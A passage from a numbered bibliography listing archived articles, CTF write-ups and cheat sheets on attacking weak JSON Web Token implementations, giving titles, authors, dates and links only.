    543 - [How to Hack a Weak JWT Implementation with a Timing Attack - Tamas Polgar - January 7, 2017](https://web.archive.org/web/20190331200826/https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9)
    544 - [JSON Web Token Validation Bypass in Auth0 Authentication API - Ben Knight - April 16, 2020](https://web.archive.org/web/20230104231143/https://insomniasec.com/blog/auth0-jwt-validation-bypass)
    545 - [JSON Web Token Vulnerabilities - 0xn3va - March 27, 2022](https://web.archive.org/web/20260305090633/https://0xn3va.gitbook.io/cheat-sheets/web-application/json-web-token-vulnerabilities)
    546 - [JWT Hacking 101 - TrustFoundry - Tyler Rosonke - December 8, 2017](https://web.archive.org/web/20190405023824/https://trustfoundry.net/jwt-hacking-101/)
    547 - [Learn how to use JSON Web Tokens (JWT) for Authentication - dwyl - May 3, 2022](https://github.com/dwyl/learn-json-web-tokens)
    548 - [Privilege Escalation like a Boss - janijay007 - October 27, 2018](https://web.archive.org/web/20190723093831/https://blog.securitybreached.org/2018/10/27/privilege-escalation-like-a-boss/)
    549 - [Simple JWT hacking - Hari Prasanth (@b1ack_h00d) - March 7, 2019](https://web.archive.org/web/20200724145838/https://medium.com/@blackhood/simple-jwt-hacking-73870a976750)
    550 - [WebSec CTF - Authorization Token - JWT Challenge - Kris Hunt - August 7, 2016](https://web.archive.org/web/20211025223311/https://ctf.rip/websec-ctf-authorization-token-jwt-challenge/)
    551 - [Write up – JRR Token – LeHack 2019 - Laphaze - July 7, 2019](https://web.archive.org/web/20210512205928/https://rootinthemiddle.org/write-up-jrr-token-lehack-2019/)